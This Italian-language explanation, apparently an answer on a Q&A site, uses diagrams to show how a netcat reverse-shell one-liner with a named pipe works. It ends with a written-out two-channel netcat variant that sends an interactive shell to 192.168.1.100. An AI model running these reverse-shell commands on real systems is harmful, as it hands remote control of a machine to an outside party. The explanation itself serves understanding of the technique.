Questa sembra essere una shell inversa che crea una shell locale (cioè, /bin/sh -i
) e rimanda l'output a 192.168.1.100:4444 (cioè, nc 192.168.1.100 4444
):
+-----------------+ +-----------------------+
| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+-----------------+ +-----------------------+
Ora ciò che manca qui è l'output di quest'ultimo comando che viene reindirizzato come input alla shell. E poiché il pipe shell |
può solo reindirizzare l'output al comando che lo segue, un pipe / FIFO named viene utilizzato per connettere le estremità libere:
+------------+ +-----------------+ +-----------------------+
| cat /tmp/f |----->| /bin/sh -i 2>&1 |----->| nc 192.168.1.100 4444 |
+------------+ +-----------------+ +-----------------------+
^ v
+------------------ /tmp/f <-----------------------+
Da ciò l'output di nc 192.168.1.100 4444
diventa l'input per /bin/sh -i
.
Se vuoi fare questo senza il named pipe / fifo, avrai bisogno di due nc
canali, uno per l'input della shell e uno per l'output della shell:
nc 192.168.1.100 4444 | /bin/sh -i 2>&1 | nc 192.168.1.100 4445